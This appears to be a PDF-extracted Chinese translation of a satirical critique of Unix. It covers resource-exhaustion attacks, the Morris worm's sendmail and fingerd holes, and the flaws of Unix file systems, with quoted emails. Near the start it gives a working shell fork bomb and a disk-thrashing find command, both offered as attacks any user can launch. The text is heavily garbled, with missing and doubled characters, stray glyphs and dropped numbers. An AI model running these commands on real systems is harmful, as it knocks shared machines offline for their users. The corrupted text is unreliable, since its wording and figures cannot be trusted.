这 段 程程 序 持 续 调 用 fork()( 建 新 程程 的 系 调 用 )。 第 一 , 程程 克 隆<br />
了 自 己 , 接接 来 , 两 个 程程 又 克 隆 了 自 己 , 总 共 四 个 。 眨 眼 间 , 个 程程<br />
着 克 隆 , 一 直 持 续 到 Unix 系 无 法 再 建 任 何 程程 。 时 刻 ,<br />
到 个 程程 处 于 活 状 , 每 个 都 在 不 断 调 用 fork() 系 调 用 , 但 得 到<br />
不 能 再 建 程程 的 错 误 。 不 桌 电 脑 还 是 大 型 机 , 这 个 程程 序 都 保 证 通 吃 不<br />
爽 。<br />
多 亏 了 Unix shell 的 编 程程 能 力 , 你 无 需 C 编 译 就就 能 施 这 有 意<br />
的 攻 击 。 要 这 试 试 <br />
#!/bin/sh<br />
$0 &<br />
exec $0<br />
这 两 种 攻 击 都 很 妙 一 攻 击 开 始 , 拿 回 Unix 系 控 制 权 的 唯 一 <br />
法 就就 剩 拔 插插 头 了 , 因 没没 法 运 行 ps 命 来 查 看 攻 击 程程 的 ID( 无 法 <br />
建 程程 )! 没没 法 运 行 su 成 超 级 用 户户 ( 还 是 无 法 建 程程 )! 而 如 果 你<br />
在 使 用 sh, 甚 至 不 能 运 行 kill 命 , 因 你 需 要 建 一 个 新 的 程程 。 而 最 大<br />
的 好 处 , 是 任 何 Unix 用 户 都 可 发 动 这 种 攻挣 击 。<br />
( 了 起 见 , 我 要 某 些 Unix 版 确 每 个 用 户户 置 了 程程 限<br />
制 。 在 有 人 发发 起 程程 攻 击 , 尽 管 这 个 补补 丁 了 系 用 户户 被被 锁 在 外 , 但<br />
仍 不 能 系 陷 入 不 用 的 状 。 原原 因 是 Unix 没没 有 给 每 个 用 户户 <br />
置 处 理 时 间 配 额 。 如 果 把把 用 户户 的 程程 数 置 , 这 个 来 自 发发 攻<br />
击 的 用 户户 的 程程 飞 快 地 占 据据 计 算 机 , 导 致 系 所 有 有 用 的 作 都 停 <br />
来 。)<br />
系 统 的 使 用 没 有捯 监 控拺<br />
有 没没 有 经 历 过 Unix 计 算 机 莫 妙 地 慢 ? 你 跟 近 的 Unix 大 牛 抱抱 怨<br />
( 假 对 你 还 没没 有 心 力 交 瘁 ), 他 输 入 了 一 些 看 不 懂 的 命 , 然 了 些<br />
不 懂 的 , 比 如 “sendmail 跑 飞 了 , 我 得 杀 掉 它 , 现 在 该 了 。”
虫 虫 爬 进 来掆<br />
· ·<br />
Sendmail 跑 飞 ? 他 在 开 玩 笑 吧 , 你 想 。 但 很 悲 , 他 真 的 。Unix 才 不<br />
是 一 直 等 着 有 人 发发 攻 击 , 有 时 候 它 脆 自 己 来 , 就就 像 消 队 员 在 淡 季 纵 火<br />
一 。Sendmail 就就 是 最 邪 恶 的 攻 击 者 一 有 时 候 完 全 没没 道 理 的 ,sendmail<br />
程程 就就 开 始 吞 处 理 时 间 。 那 倒 霉 的 系 管 理 员 唯 一 的 选 择 , 就就 是 杀 掉 这<br />
个 程程 然 希 望 “ 运 气 ” 好 点 。<br />
还 不 够 刺 激 吗 ? 好 吧 , 多 谢 Unix 网 系 的 计 , 你 用 远 程 控拺 制<br />
瘫 痪 网 的 任 何 Unix 计 算 机 , 还 不 需 要 登 录 。 要 写 个 程程 序 , 和 程程 计 算<br />
机 的 sendmail 程程 打 开 个 接接 , 然 通 过 这 些 管 道 发发 随 机 的 垃 圾 信<br />
息 。 程程 机 的 用 户户 感 到 系 突突 然 地 , 没没 来 地 慢 。 如 果 随 机 数 据据 导 致<br />
sendmail 崩 溃 并 吐 , 程程 机 还 一 慢 。<br />
磁 盘 过 载<br />
一 种 攻 击 甚 至 不 需 要 用 完 处 理 , 就就 能 让 Unix 跪 , 多 亏 了 Unix 原原<br />
始 的 磁 和 网 活 控 制 。 很 容 易 要 启 四 五 个 nd 作 业 , 如 小小 溪 流<br />
淌 在 文 件 系 中 , 像 这 <br />
% repeat find -exec wc {} \;<br />
每 个 nd 程程 都 读 文 件 系 一 切 读 的 文 件 内 容 , 于 是 操 作 系 <br />
的 磁 缓 冲 被被 冲 刷 得 一 二 净 , 几 时 ,Unix 被被 整 死 了 。 这 个 法 简 单 、<br />
净 , 而 那 些 莫 妙 被被 戏 的 害 者 还 没没 法 。<br />
虫 虫 爬 进 来掆<br />
月 , 一 种 电 子 寄 生 虫 (“ 蠕蠕 虫 ”) 瘫 痪 了 全 美 国 成 千千 万 的 <br />
作 站 和 超 级 小小 型 机 。 这 种 蠕蠕 虫 通 过 因 特 网 发发 攻 击 。 新 闻 报 道 将将 任 归 咎 于<br />
康 尔尔 大 学 的 一 个 研 究 生 , 罗 伯 特 核 莫 斯 。 释 放 蠕蠕 虫 是 一 种 介 于 玩 笑 和 大<br />
规 模 验 间 的 行 。 陪 团 裁 莫 斯 有 罪 , 因 他 编 写 的 程程 序 能 “ 攻<br />
击 ” 网 的 计 算 机 系 , 并 且 能 “ 窃 ”。<br />
然 而 “ 因 特 网 蠕蠕 虫 ” 事 件 的 真 凶 不 是 罗 伯 特 核 莫 斯 , 而 是 多 忽 视<br />
计 算 机 全 题 的 Unix 开 发发 者 和 经 销 商 。 莫 斯 蠕蠕 虫 的 攻 击 手手 段 不 是 欺 骗 、<br />
隐 藏 和 嗅 探探 , 而 是 利 用 两 个 所 周 知 的 Unix 系 缺 陷 盒 盒 从 Unix 娘 胎 带<br />
来 的 缺 陷 。 莫 斯 的 程程 序 不 是 “ 因 特 网 蠕蠕 虫 ”, 毕 它 放 过 了 所 有 运 行 VMS、
· · 安 全<br />
ITS、Apollo/Domain、TOPS- 和 Genera 的 机 。 这 就就 是 一 种 严 格 而 纯 粹 的<br />
Unix 蠕蠕 虫 。<br />
Sun 和 DEC 发发 布 的 网 程程 序 sendmail, 带 有 一 个 特 殊 的 DEBUG 命 。<br />
任 何 人 要 从 网 接接 sendmail 程程 序 , 然 发发 DEBUG 命 , 就就 能 骗<br />
sendmail 建 一 个 子 shell。<br />
莫 斯 蠕蠕 虫 还 利 用 了 一 个 nger 程程 序 的 漏 洞 。 通 过 向 finger 服 程程<br />
ngerd 发发 伪 装装 的 信 息 , 就就 能 迫 使 计 算 机 执执 行 一 系 列 命 并 最 建 一 个<br />
子 shell。 要 是 finger 服 程程 不 能 建 子 shell, 那 有 能 被被 莫 斯 蠕蠕 虫 搞搞<br />
崩 溃 , 但 不 生 有 害 全 的 子 shell。<br />
期 Tue, Nov : EST<br />
来 自 理 查 德 核 马 纳 利 克 <br />
发发 给 UNIX 痛 者<br />
题 操 作 系 的 切 尔尔 诺 贝 利<br />
[ 我 敢 打 赌 , 和 蠕蠕 虫 入 侵 相 比 ,sendmail 蠕蠕 虫 引 起 的 各 种 法 “ 浪 ” 了 更 多 “ 贵 的 科<br />
研 时 间 ”。 在 任 何 情 况 , 那 些 计 算 机 科 学 的 “ 研 究 者 ” 们 除 了 编 写 越 来 越 复 杂 的 屏 幕<br />
保 护 程程 序 , 就就 是 阅 读 网 新 闻 。]<br />
期 Nov : GMT+<br />
来 自 克 斯 核 布 隆 施 泰 因 <br />
发发 给 RISKS-LIST@KL.SRI.COM<br />
题 Unix 的 不 全 ( 除 了 病 毒 蠕蠕 虫 )<br />
[…盚…盚 一 些 和 全 相 的 道 …盚…盚]<br />
尽 管 病 毒 蠕蠕 虫 最 确 成 有 限 的 破 ( 尤尤 是 在 小小 时 夜 班 时 “ 吞<br />
” 时 间 和 脑 力 , 然 在 续 讨 中 一 分 散 精 力 , 但 时 是 一 些 有<br />
价 值 的 教 ), 但 Unix 式 的 快 慰 能 给 企 业 和 经 济 成 损 害 。 作 过 教<br />
育 的 物 理 学 家 , 在 讨 被被 多 数 物 理 学 家 忽 视 的 风 险 时 , 我 看 到 了 类 似<br />
的 状 况 。 了 更 好 地 明 , 我 略 微 改 编 皮 特 核 诺 伊 曼 于 岛岛 和 切<br />
尔尔 诺 贝 利 事 故 的 比 喻 病 毒 蠕蠕 虫 的 出 现 就就 像 是 小小 型 的 岛岛 事 故 ( 有 限 破<br />
的 大 威 ), 但 是 如 果 被被 误 导 的 户户 跟 随 计 算 机 业 入 不 全 的<br />
Unix 地 ,“ 计 算 界 的 切 尔尔 诺 贝 利 ” 被被 隐 藏 到 各 种 用 中 。<br />
克 斯 核 布 隆 施 泰 因<br />
德 意 联 邦 共 和 国 , 汉汉 堡 大 学<br />
<br />
译 注 Klaus Brunnstein。<br />
<br />
译 注 Peter Neumann。
虫 虫 爬 进 来掆<br />
· ·
第 章<br />
文挱 件 系 统<br />
当 然 这 是捔 弄 坏 了 你 的 文挱 件 , 但 看 看 运 行<br />
得 多 快 !<br />
把把 要 文 件 放 在 Unix 系 , 你 真 是 纯 爷 们 。<br />
盒 盒 罗 伯 特 核 E 核 西 斯 托托 姆<br />
传 的 Unix 文 件 系 是 一 个 怪 的 拼 凑 作 品 , 因 被被 “ 标 准 ”<br />
的 原原 因 仅 仅 是 多 来 的 广 泛 使 用 。 真 情 况 是 , 经 过 多 灌 输 和 洗 脑 , 如<br />
今 的 人 们 已 经 把把 Unix 的 缺 陷 当 成 想 要 的 能 , 就就 像 癌 症 病 人 的 免 疫 系 能<br />
别 癌 胞 , 却 又 将将 当 作 常 组 一 。<br />
还 得 “ 迎 你 , 新 用 户户 ” 那 一 吗 ? 我 们 列 出 了 一 张 Unix 文 件 系 <br />
如 何 不 对 的 清 单 。 对 于 用 户户 , 最 大 的 失 就就 是 文 件 系 不 能 建 立立 版 , 并<br />
且 不 能 执执 行 “ 反 删 除 ” 盒 盒 二 者 结 起 来 就就 像 用 户户 手手 时 托托 着 钠 和 水水 。<br />
然 而 Unix 文 件 系 的 真 缺 陷 要 比 缺 两 个 能 严 得 多 。 这 不 是 任<br />
何 能 执执 行 的 缺 陷 , 而 是 理 念 的 缺 陷 。 于 Unix 我 们 经 常 到 一 ,“ 一<br />
切 都 是 文 件 ”。 所 呢 ,Unix 的 多 缺 陷 都 和 文 件 系 有 , 就就 是 自<br />
然 而 然 的 了 。<br />
文挱 件 系 统 是捔 什 么 ?<br />
文 件 系 是 计 算 机 操 作 系 的 一 部 分 , 负 将将 文 件 存 储 到 大 容 存 储 <br />
, 例 如 和 硬 。 存 储 的 每 段 信 息 都 有 个 字 , 即 文 件 , 在 磁 还<br />
( 我 们 希 望 ) 单 据据 占 据据 一 块 空空 间 。 文 件 系 的 常 作 就就 是 把把 /etc/passwd <br />
类 的 字 翻 译 成 磁 的 置 比 如 “ 硬 , 块 ”, 文 件 系 还 支 持 读<br />
写 被被 文 件 占 用 的 块 。 尽 管 从 概概 念 看 文 件 系 似 独 立立 于 操 作 系 , 但 <br />
几 每 个 目 前 在 用 的 操 作 系 都 自 带 专 有 文 件 系 。
· · 文挱 件 系 统<br />
文挱 件 系 统 的 一 家 子<br />
在 过 去去 二 十十 , 邪 恶 的 Unix 妈 抚 的 文 件 系 不 是 一 个 两 个 , 而<br />
是 四 个 。 即 使 在 的 状 况 运 行 的 程程 序 , 这 些 娘 的 系 的 行 <br />
是 参参 差 不 齐 。<br />
开 辟 地 的 Unix 文挱 件 系 统 (Unix File System,UFS), 最 长 的 母 姐<br />
姐 。 最 的 Unix 团 队 开 发发 于 贝 尔尔 验 。UFS 最 不 得 了 的 地 方 是<br />
无 拘 无 的 文 件 转 换 除 了 斜 (“/”) 和 ASCII 字 符 NUL 外 , 文 件 <br />
使 用 任 何 字 符 。 成 的 结 果 是 文 件 包 大 不 打 印 不 键<br />
入 的 字 符 , 这 个 “ 能 ” 经 常 用 于 现 “ 全 ”。 对 了 ,UFS 的 文 件 长 度<br />
不 能 超 过 个 字 符 。<br />
伯 克 利 快 速 ( 而 松 散挬 的 ) 文挱 件 系 统 (Berkeley Fast File System,FFS) 是<br />
州 大 学 伯 克 利 分 校 对 UFS 的 写 。FFS 不 算 快 , 但 比 要 替 换 的 UFS 快 , 就就<br />
像 龟 跑 赢 蜗 牛 。<br />
伯 克 利 对 UFS 行 了 若 确 且 用 的 改 , 最 要 是 FFS 消 除<br />
了 UFS 那 个 臭 昭 著 的 限 制 , 允 文 件 的 长 度 超 过 个 字 符 。FFS 还 引<br />
入 了 几 个 崭 新 但 不 容 的 能 , 首 当 冲 就就 是 符 链 接接 盒 盒 文 件 系 的 <br />
目 指指 向 别 的 文 件 、 目 录 、 备 或或 别 的 什 么 。 要 是 能 再 回 到 贝 尔尔 验 ,<br />
伯 克 利 的 “ 修 改 ” 就就 完 美 了 , 但 作 “ 非 我 发发 明 症 ” 患 者 的 型 症 状 ,AT&T<br />
拒拒 了 伯 克 利 的 码 , 成 两 个 不 断 分 的 文 件 系 , 及 彼 不 容 的 文 件<br />
语 义 。 在 整 个 , 有 些 “ 标 准 ” 的 Unix 程程 序 知 道 文 件 超 过 <br />
个 字 符 , 但 别 的 不 知 道 有 些 知 道 文 件 系 的 “ 文 件 ” 是 符 链<br />
接接 , 但 别 的 不 知 道 所 有 些 程程 序 按按 照 期 作 , 但 别 的 不 作 。<br />
Sun 带 来 了 网 络 文挱 件 系 统 (Network File System,NFS)。 据据 NFS 让 身<br />
处 不 网 的 Unix 计 算 机 “ 透 明 地 ” 共 享 文 件 。 在 NFS 的 概概 念 中 , 一 <br />
共 计 算 机 被被 指指 “ 文 件 服 ”, 别 的 计 算 机 被被 称 “ 户户 机 ”, 这 个 系<br />
( 有 点 疑 ) 的 目 标 是 , 将将 服 的 文 件 和 文 件 层 差 不 多 都 呈 现 在 户户<br />
机 , 差 不 多 就就 像 呈 现 在 服 一 。 在 NFS 商 业 化 前 几 , 阿 波 罗 电<br />
脑 就就 有 一 个 更 好 的 网 文 件 系 , 但 NFS 仍 然 凭 借 “ 独 立立 于 操 作 系 ”<br />
和 被被 Sun 提 升 “ 开 放 标 准 ” 而 成 导 。 有 当 几 , 程程 序 员 们 想 给<br />
Unix 外 的 操 作 系 开 发发 NFS 服 和 户户 机 件 时 , 才 发发 现 NFS <br />
是 多 么 依 赖 于 操 作 系 , 而 且 封 闭 。<br />
安 德 鲁 文挱 件 系 统 (Andrew File System,AFS) 是 最 的 母 妹 妹 ,<br />
如 果 目 录 有 个 指指 向 .. 的 符 链 接接 , 你 试 试 运 行 cp -r 来 拷拷 贝 整 个 目 录 , 就就 懂 了 ( 但 愿 你 不 <br />
把把 磁 空空 间 用 光 )。
文挱 件 系 统 是捔 什 么 ?<br />
· ·<br />
是 一 个 网 文 件 系 , 据据 从 计 时 就就 考 虑 了 操 作 系 无 性 。AFS 是 卡 内<br />
基 梅 隆 大 学 在 Unix 系 开 发发 的 , 因 身 带 有 多 Unix 的 特 , 结 果 无<br />
法 和 操 作 系 分 离 。 尽 管 AFS 在 技 术 比 NFS 越 ( 就就 是 因 更 越 ),<br />
但 永永 不 和 NFS 在 Unix 地 头 起 , 因 NFS 已 经 无 人 不 知 并 且 成<br />
了 事 标 准 。AFS 还 有 两 个 题 , 一 是 大 学 开 发发 ( 在 Unix 眼 很<br />
不 信 ), 二 是 程程 序 第 方 供 商 销 售 而 不 是 直 接接 赠 。AFS 很 麻 烦 , 在<br />
装装 时 需 要 新 格 式 化 磁 , 所 你 看 得 出 这 是 个 注 死 翘 翘 的 失 者 。<br />
设 想 一 个 文挱 件 系 统<br />
请 思 考 几 分 钟 , 一 个 秀 的 文 件 系 到 该 操 作 系 提 供 什 么 <br />
能 , 然 你 很 快 就就 能 从 的 描 述 中 找 到 共 症 结 。<br />
秀 的 文 件 系 将将 一 点 或或 者 必 要 的 结 构 施 在 所 存 储 的 数 据据 。 这<br />
种 结 构 用 户户 , 而 不 是 让 用 户户 的 数 据据 和 程程 序 削 足 履履 。 秀 的 文 件 系 既<br />
提 供 字 节 粒 度 的 盒 盒 用 户户 打 开 文 件 然 读 写 单 个 字 节 盒 盒 提 供<br />
操 作 录 的 能 力 按按 逐 录 来 读 、 写 和 锁 数 据据 ( 这 大 概概 明 了 什 么<br />
大 多 数 开 发发 Unix 数 据据 的 要 完 全 绕 过 Unix 文 件 系 起 炉 灶 )。<br />
成 熟 的 文 件 系 不 是 支 持 数 据据 , 还 允 程程 序 或或 者 用 户户 每 个 文 件<br />
保 存 数 据据 , 即 使 在 最 最 简 单 的 情 况 , 文 件 系 该 允 用 户户 保 存 每 个<br />
文 件 的 “ 类 型 ”, 用 于 表表 明 文 件 存 储 的 内 容 程程 序 码 、 执执 行 目 标 码 片<br />
段 , 或或 者 图 片 。 文 件 系 该 保 存 每 录 的 长 度 , 控 制 列 表表 ( 就就 是<br />
谁 能 文 件 内 容 及 权 限 ) 等 等 。 真 先 的 文 件 系 还 能 给 每 个 文 件 添<br />
注 释 。<br />
先 的 文 件 系 分 利 用 现 硬 驱 和 控 制 。 例 如 大 多 数 磁<br />
驱 发发 方 式 一 传 输 批批 数 据据 ( 例 如 K 字 节 ), 而 先 的 文<br />
件 系 将将 文 件 存 放 在 续 的 块 中 , 因 通 过 单 操 作 就就 完 成 读 写 , 时<br />
多 数 文 件 都 保 存 在 一 磁 轨 中 , 因 读 写 时 不 用 来 回 移移 磁 头 ( 这 个 过 程程<br />
比 较 耗 时 )。 外 这 种 文 件 系 还 支 持 分 散 / 聚 的 操 作 方 式 , 所 多 个 单 <br />
读 写 并 作 一 来 执执 行 。<br />
最 , 先 的 文 件 系 在 计 时 就就 考 虑 了 网 , 并 且 构 基 于 某<br />
种 高 性 能 高 的 网 协 。 先 的 文 件 系 能 容 忍 文 件 服 或或 户户 端<br />
的 意 外 崩 溃 , 并 且 时 不 改 文 件 内 容 或或 者 损 文 件 信 息 ( 这 是 最 要<br />
的 )。<br />
在 商 业 操 作 系 中 , 所 有 这 些 能 都 已 现 并 部 署 , 但 Unix 却 依 然 两<br />
手手 空空 空空 。
· · 文挱 件 系 统<br />
UFS: 邪 恶 之 源<br />
或或 者 随 你 别 的 什 么 都 。UFS 踞 在 地 狱 第 五 层 , 深 埋 于 Unix 内<br />
中 。 在 贝 尔尔 验 ,UFS 用 几 个 月 内 便 一 蹴 而 就就 , 各 种 怪 和 错 误<br />
已 成 计 算 机 科 学 “ 常 ” 的 一 部 分 , 因 想 要 行 UFS, 第 一 件 事 情 就就<br />
是 把把 自 己 的 意 扭 曲 到 能 流 利 使 用 UFS 的 术 语 。<br />
UFS 生 活 在 一 个 怪 的 世 界 , 那 的 计 算 机 硬 被被 一 分 inode、<br />
数 据据 块 和 空空 闲 列 表表 。 中 inode 是 指指 针 的 , 保 存 着 文 件 的 一 切 有 趣 信 息<br />
盒 盒 分 块 置 、 所 属属 用 户户 、 所 属属 分 组 、 建 时 间 、 修 改 时 间 和 时 间 盒 盒<br />
这 的 一 切 , 意 思 是 除 了 文 件 。 不 小小 心 漏 掉 了 吗 ? 不 , 这 是 有 意 的<br />
计 决 。<br />
保 存 文 件 的 是 一 种 特 殊 的 文 件 类 型 , 称 目 录 , 内 容 指指 向 inode。<br />
每 个 inode 能 存 在 于 多 个 目 录 中 ,Unix 称 “ 硬 链 接接 ”, 去去 这 是<br />
UFS 的 大 点 一 能 让 一 个 文 件 出 现 在 两 个 地 方 , 但 硬 链 接接 是 程程 序<br />
调 试 的 梦 魇 。 你 将将 数 据据 拷拷 入 文 件 , 突突 然 盒 盒 大 吃 一 惊 盒 盒 文 件 内 容 了 , 因<br />
这 个 文 件 被被 一 个 文 件 硬 链 接接 指指 向 。 到 一 个 文 件 是 哪 个 呢 ? 没没 有 简<br />
单 法 揪揪 出 凶 。 某 个 在 你 头 顶 楼楼 的 白 痴 调 戏 了 你 的 文 件 数 据据 , 但 你<br />
抓 不 到 他 。<br />
在 确 Unix 文 件 系 的 磁 布 局 时 , 与 邪 、 和 的 纠 葛 是 免 不 了<br />
的 , 因 管 理 员 必 在 系 运 行 前 把把 磁 划 分 邪 恶 空空 间 (inode) 和 <br />
义 空空 间 ( 用 文 件 )。 决 心 一 , 就就 如 刻 石 碑 。 系 在 运 行 时 是 不<br />
能 在 二 者 间 调 整 的 , 但 是 按按 照 我 们 的 生 活 经 验 , 不 偏 爱 哪 方 都 不 好 玩 。<br />
当 文 件 系 耗 尽 inode 空空 间 ,Unix 就就 不 能 增 新 文 件 了 , 即 使 还 有 很 多 数<br />
据据 块 不 行 。 当 在 建 立立 UFS 时 , 这 种 情 况 很 常 见 。 所 大 多 数 人 都 <br />
枉 过 , 分 配 了 过 多 空空 间 给 inode( 不 用 , 他 们 必 耗 尽 数 据据 块 , 但 留<br />
一 堆 inode)。Unix 厂厂 商 们 , 在 不 断 向 我 们 鼓 吹 Unix“ 易 于 使 用 ” 的 时 ,<br />
直 接接 把把 缺 省 inode 空空 间 分 得 很 大 , 结 果 是 inode 占 用 多 空空 间 , 用 磁 空空<br />
间 减 少少 , 因 拉拉 高 了 每 用 空空 间 的 成 。<br />
UFS 将将 暂 时 不 用 的 空空 闲 数 据据 块 组 在 一 个 双 向 链 表表 中 。Unix 需 要 空 闲<br />
列 表 , 是 因 内 存 装装 不 任 意 时 刻 的 全 部 用 磁 块 。 但 很 不 幸 , 更 新 空空 闲<br />
列 表表 状 价 不 菲 了 建 新 文 件 , 内 需 要 在 空空 闲 列 表表 找 到 一 个 块 B ,<br />
将将 从 表表 中 移移 出 ( 通 过 调 整 块 B 前 块 的 指指 针 ), 然 才 建 一 个 目 录 指指<br />
向 分 配 的 块 的 inode。<br />
<br />
译 注 Block B,UFS 或或 类 似 文 件 系 中 的 一 个 逻 辑 磁 块 , 大 小小 通 常 k 或或 k 字 节 。
UFS: 邪 恶 之 源<br />
· ·<br />
了 保 证 文 件 不 丢 不 , 操 作 必 原原 子 方 式 序 完 成 , 否 一 <br />
过 程程 中 计 算 机 死 机 就就 丢 失 数 据据 ( 打 断 这 类 操 作 就就 像 打 断 约 翰 核 麦 肯 罗<br />
<br />
发发 球 果 不 堪 想 )。<br />
不 要 紧 !UFS 的 计 者 认 计 算 机 不 频 繁 死 机 , 他 们 没没 有 花 时 间 把把<br />
UFS 计 得 快 并 且 全 , 而 是 计 得 简 单 所 快 。 结 果 呢 , 硬 常 常 处<br />
于 不 一 致 的 状 。 但 要 你 不 在 键 时 候 掉 链 子 就就 没没 事 , 按按 部 就就 班 地 机 <br />
不 出 题 。<br />
要 是 电 源 掉 或或 者 抽 疯 呢 ? 要 是 哪 个 笨 蛋 技 师 或或 者 无 能 辈 在 机 房 <br />
拔 错 了 插插 头 呢 ? 要 是 芝 的 水水 道 涨 水水 呢 ? 呃 , 你 曾 经 的 文 件 系 就就 <br />
成 一 把把 浸 过 水水 的 挂 了 。 从 中 建 文 件 系 的 是 fsck( 发发 音 就就 像 “ 文 件<br />
- 病 了 ”), 文 件 系 一 致 性 检 查 程程 序 。 这 个 扫 描 整 个 磁 , 寻 找 Unix 常<br />
常 在 磁 留 的 残 骸 。 一 般 fsck 修 复 损 , 但 有 时 候 不 行 ( 要 是 遇 到<br />
间 歇 性 硬 件 故 障 、SCSI 结 题 , 还 有 数 据据 块 传 输 不 完 整 什 么 的 ,fsck 经<br />
常 都 不 好 使 )。 一 遇 到 什 么 情 况 ,fsck 能 需 要 、 或或 者 分 钟 才 能 完<br />
成 扫 描 , 在 期 间 你 的 计 算 机 就就 是 Unix 的 人 。<br />
这 有 个 马 纳 利 克 转 到 UNIX 痛 者 的 帖 子 , 最 是 月 发发 在<br />
新 闻 网 分 组 comp.arch<br />
期 Jul :: GMT<br />
来 自 aglew@oberon.crhc.uiuc.edu( 迪 核 格 鲁 ) <br />
发发 给 快 启<br />
分 组 comp.arch<br />
几 前 有 个 户户 要 求 我 们 在 秒 内 启 完 毕 , 而 对 时 操 作 系 , 他 们 的 要 求 是 秒<br />
内 。<br />
这 DECstation , 配 有 M 内 存 , 大 约 M 地 SCSI 硬 , 断 电 要 用 :<br />
( 分 十十 秒 ) 才 能 启 , 计 时 从 我 按按 开 到 登 录 。<br />
按按 照 Unix 的 标 准 这 算 是 了 , 但 并 不 杰 出 。<br />
了 保 证 计 算 机 硬 的 信 息 总 是 处 于 一 致 状 , 现 文 件 系 使 用<br />
了 、 回 滚 还 有 大 规 模 数 据据 发发 明 的 它 文 件 操 作 方 式 盒 盒 就就 是 <br />
突突 然 断 电 。IBM 将将 这 种 技 术 植植 入 日捄 志 文挱 件 系 统 (Journaling File System,JFS,<br />
首 出 现 在 RS/ 作 站 的 AIX V 系 中 )。USL 新 开 发发 的 Veritas 文挱 件 系<br />
统 (Veritas File System,VxFS) 支 持 。 在 Unix 世 界 大 规 模 流<br />
行 吗 ? 大 概概 不 , 毕 这 玩 意 儿 是 没没 有 标 准 的 。<br />
<br />
译 注 John Patrick McEnroe,Jr., 美 国 前 业 网 球 运 员 , 生 于 月 , 性 格 暴 躁 言言 出<br />
格 , 被被 媒 体 和 球 坛 称 孩 子 。<br />
<br />
译 注 Andy Glew。<br />
理 查 德 核 马 纳 利 克 转 发发 到 UNIX 痛 者 。<br />
<br />
译 注 DECstation 是 DEC 的 计 算 机 品 牌 , 中 系 列 配 备 MIPS 处 理 , 在 市 时 称 最<br />
快 的 UNIX 作 站 。
· · 文挱 件 系 统<br />
文挱 件 自 己 坏 掉拵<br />
有 时 候 fsck 没没 法 完 全 恢 复 文 件 系 。 就就 是 一 个 型 <br />
期 Wed, May :: EDT<br />
来 自 curt@ai.mit.edu( 柯 蒂 斯 核 芬 内 尔尔 ) <br />
题 搞搞 乱 的 邮 件<br />
发发 给 all-ai@ai.mit.edu<br />
服 Life 有 个 貌 似 硬 件 题 搞搞 乱 若 用 户户 的 邮 箱 。 起 初 看 起 来 部 分 邮 箱 的 所 有 权 被被<br />
修 改 了 , 但 来 才 清 楚楚 , 大 部 分 邮 箱 的 所 有 权 是 对 的 , 但 是 文 件 错 了 。<br />
例 如 这 个 状 况 <br />
-rw-------<br />
bmh user May :0 kchang<br />
但 “”kchang 的 文 件 的 内 容 又 是 用 户户 bmh 的 。 怪 的 是 这 个 题 现 象 还 不 稳稳<br />
, 有 些 文 件 似 并 和 所 有 人 或或 文 件 联 。 我 尽 力 纠 了 题 新 调 整 了 文 件 所<br />
有 权 ( 有 用 户户 抱抱 怨 无 法 读 自 己 的 邮 箱 , 这 就就 解解 决 了 )。 注 意 我 的 调 整 是 文 件 所 有<br />
权 准 的 , 并 且 用 grep 扫 描 文 件 的 “ 发发 给 ” 行 来 确 认 , 我 没没 有 涉 及 私 人 邮 箱 的 内 容 。<br />
请 花 点 时 间 检 查 自 己 的 邮 箱 。<br />
有 个 “sam” 的 文 件 我 没没 法 调 整 , 这 个 文 件 该 属属 于 sae, 但 我 想 sae 的 邮 箱 已 经<br />
联 过 了 , 所 这 个 文 件 就就 留 在 了 /com/mail/strange-sam, 该 用 户户 收 到 了 发发 给 bizzi、<br />
motor-control、cbip-meet、whitaker-users 等 的 邮 件 。<br />
就就 在 我 着 手手 研 究 这 个 题 不 久 ,Life 崩 溃 了 并 且 包 /com/mail 的 分 区 通 过 文 件 系<br />
检 查 , 在 准 备 启 时 有 几 个 邮 箱 被被 删 除 了 , 乔 纳 森森 手手 有 份 被被 删 除 文 件 的 清 单 , 如 果<br />
你 丢 失 了 数 据据 和 他 谈 谈 。<br />
请 直 接接 向 我 了 解解 这 题 的 详 情 。 清 单 列 出 了 用 户户 , 他 们 的 邮 箱 非 常 能 <br />
影 响 。<br />
祝 好 运 。<br />
我 们 向 MIT 人 验 的 现 任 系 管 理 员 询 这 题 , 他 告 我 们 <br />
期 Mon, Oct :: EDT<br />
来 自 bruce@ai.mit.edu( 布 鲁 斯 核 沃沃 尔尔 )<br />
题 UNIX 痛 者<br />
发发 给 simsong@next.cambridge.ma.us( 西 蒙 核 格 芬 科 )<br />
西 蒙 , 你 好 !<br />
我 想 起 这 件 事 情 了 , 那 时 我 才 来 验 。 题 发发 生 了 不 一 ( 我 宁 愿 !<br />
:-))。Life 服 遇 到 文 件 系 错 误 然 崩 溃 了 , 启 时 保 存 邮 件 的 分 区 毫毫 无 希 望 地 被被<br />
搞搞 乱 了 。 我 们 确 编 写 了 一 些 脚 扫 描 “ 发发 给 ” 的 地 址 然 试 图 据据 置 文 件 的<br />
uid。 但 这 确 很 丑 , 因 没没 人 相 信 自 己 收 齐 了 邮 件 。 购 买 更 的 硬 件 , 题 消 失<br />
了 …盚…盚<br />
<br />
译 注 Curtis Fennell。<br />
尔尔 核 撒 迦 利 亚 转 发发 到 UNIX 痛 者 。<br />
<br />
译 注 Bruce Walton。
UFS: 邪 恶 之 源<br />
· ·<br />
没 有捯 文挱 件 类 型<br />
在 UFS 及 Unix 一 的 文 件 系 看 来 , 文 件 不 过 是 一 长 串 字 节 ( 就就 像 神<br />
故 事 的 , 一 袋袋 字 节 , 技 术 不 是捔 袋袋 而 是 水水 流 ), 程程 序 按按<br />
照 任 意 喜 好 解解 释 这 些 字 节 。 了 更 简 单 一 点 ,Unix 没没 有 给 每 个 文 件 保 存 类<br />
型 , 而 是 强 迫 用 户户 把把 这 个 信 息 塞 文 件 !“.c” 结 尾 的 文 件 是 C 源 码 ,<br />
“.o” 结 尾 的 是 二 制 目 标 码 , 等 等 。 文 件 改 时 烫 着 手手 指指 头 倒 是 简 单<br />
了 。<br />
了 解解 决 这 个 题 , 有 些 Unix 文 件 用 起 始 几 个 字 节 包 “ 魔 术 数 字 ”。<br />
有 某 些 文 件 盒 盒 shell 脚 、“.o” 文 件 和 执执 行 程程 序 盒 盒 才 有 魔 术 数 字 。<br />
要 是 文 件 的 “ 类 型 ”( 据据 扩扩 展展 ) 和 魔 术 数 字 不 匹 配 怎 么 ? 结 果 决 于<br />
你 好 在 运 行 的 程程 序 程程 序 装装 载 报 错 并 出 , 而 exec() 系 列 系 调 用<br />
启 /bin/sh, 然 把把 你 的 文 件 作 输 入 传 去去 。<br />
在 Unix 神 和 学 院 派 计 算 机 科 学 中 ,“ 缺 少少 文 件 类 型 ” 这 档 事 已 饱 食<br />
